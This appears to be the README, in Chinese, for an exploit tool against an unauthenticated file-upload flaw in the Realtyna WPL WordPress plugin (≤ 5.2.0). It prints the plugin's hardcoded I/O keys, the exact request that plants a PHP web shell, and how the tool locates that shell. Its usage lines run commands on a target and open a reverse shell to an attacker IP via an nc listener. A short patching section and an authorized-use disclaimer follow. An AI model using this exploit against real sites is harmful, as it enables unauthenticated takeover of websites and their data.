未认证任意文件上传漏洞,可导致 Realtyna WPL / Organic IDX WordPress 插件(real-estate-listing-realtyna-wpl ≤ 5.2.0)中的远程代码执行(RCE)。
该插件在公开的 WordPress init 钩子上注册了一个 “I/O 服务”,可通过 ?wplview=io&wplformat=io 在站点根目录未认证访问。唯一的门槛是插件迁移中附带的一对静态硬编码默认密钥(每个安装环境均相同),且 io_status 默认启用:
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
set_property 命令(libraries/io/mobile_application/set_property.php → wpl_file::upload)使用 move_uploaded_file 保存上传的 file[],且不做扩展名/MIME 检查,因此可以投放 .php Web Shell 并以 Web 用户身份执行。
real-estate-listing-realtyna-wpl ≤ 5.2.0www-data)身份实现未认证 RCE仅需 Python 3 标准库 — 无第三方依赖。
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
image_<name>.php 的 file[] 提交至 POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1。image_ 前缀会被去除,因此文件保存为 <name>.php。wp-content/uploads/WPL/<pid>/<name>.php,其中 <pid> 是请求创建的房产 ID(响应不会回显该 ID)。该工具通过枚举较小的房产 ID 来找到 Shell。…/<name>.php?c=<cmd>。已启用 real-estate-listing-realtyna-wpl 插件(≤ 5.2.0)的 WordPress 站点。该端点会在 GET /?wplview=io&wplformat=io(插件的 I/O 服务)处响应。
将插件升级至 ≥ 5.3.0,校验上传文件的扩展名/MIME 类型,切勿从 wp-content/uploads 目录执行 PHP,并轮换插件静态默认的 I/O 密钥。
仅限用于经授权的安全测试和教育目的。请仅对您拥有或已获明确授权测试的系统使用。